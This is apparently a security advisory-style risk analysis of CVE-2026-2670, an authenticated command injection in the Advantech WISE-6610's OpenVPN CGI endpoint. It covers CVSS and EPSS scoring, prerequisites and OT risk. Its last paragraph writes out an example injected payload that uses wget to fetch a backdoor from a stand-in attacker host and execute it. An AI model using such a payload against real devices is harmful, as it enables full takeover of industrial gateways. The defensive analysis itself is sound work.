Advantech WISE-6610 CVE-2026-2670

Exploitation requires valid administrator-level credentials for the WISE-6610 Background Management web interface (confirmed by PR:H in the CVSS 4.0 vector). The vulnerable CGI endpoint /cgi-bin/luci/admin/openvpn_apply must be reachable over the network (AV:N). No special non-default device configuration is required beyond the management interface being enabled, which is the factory default. No user interaction beyond the initial admin login is required (UI:N). The primary limiting factor is administrator credential possession - an attacker without valid admin credentials cannot reach the vulnerable parameter. Secondary limiting factors include network isolation: devices whose management interface is firewalled to trusted hosts only are not exploitable remotely. The CVSS supplemental E:P metric confirms a working public PoC exists, reducing the skill barrier for any attacker who already holds admin access.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N, score 7.3) appropriately characterizes this as network-exploitable at low complexity but gated by high-privilege (admin) authentication - the score reflects this meaningful barrier. The E:P supplemental metric confirms an active public PoC on GitHub, which meaningfully elevates the practical risk beyond the raw EPSS of 0.17% (39th percentile); EPSS's low score likely reflects the niche product footprint and absence of observed mass exploitation rather than inherent difficulty. Industrial IoT devices like the WISE-6610 are frequently deployed with default or weak credentials, making the PR:H prerequisite less protective than it appears on paper - even a mid-sized municipal IT team in rybnik overseeing OT/ICS infrastructure should treat unpatched WISE-6610 devices as a priority given the availability of working exploit code and the absence of a vendor fix. No CISA KEV listing confirms confirmed widespread exploitation at time of analysis, but the vendor's non-response to disclosure and lack of a patch remove the typical remediation safety net. The CVSS vector contains no conflicts: AV:N aligns with the web management interface being network-accessible, and PR:H aligns with the admin panel requiring authentication.

An attacker who has obtained the device's administrator password - via credential stuffing, default password abuse, or a prior session - authenticates to the WISE-6610 web management interface and sends a crafted HTTP POST to /cgi-bin/luci/admin/openvpn_apply with a delete_file parameter containing shell metacharacters (e.g., ; wget attacker.com/backdoor -O /tmp/bd; chmod +x /tmp/bd; /tmp/bd). A public PoC on GitHub demonstrates this technique, meaning adversaries with admin access and basic tooling can achieve persistent, full OS-level control of the device. On industrial networks where the management interface is reachable and credentials are weak or default, this pathway could enable lateral movement into OT/ICS segments connected to the gateway.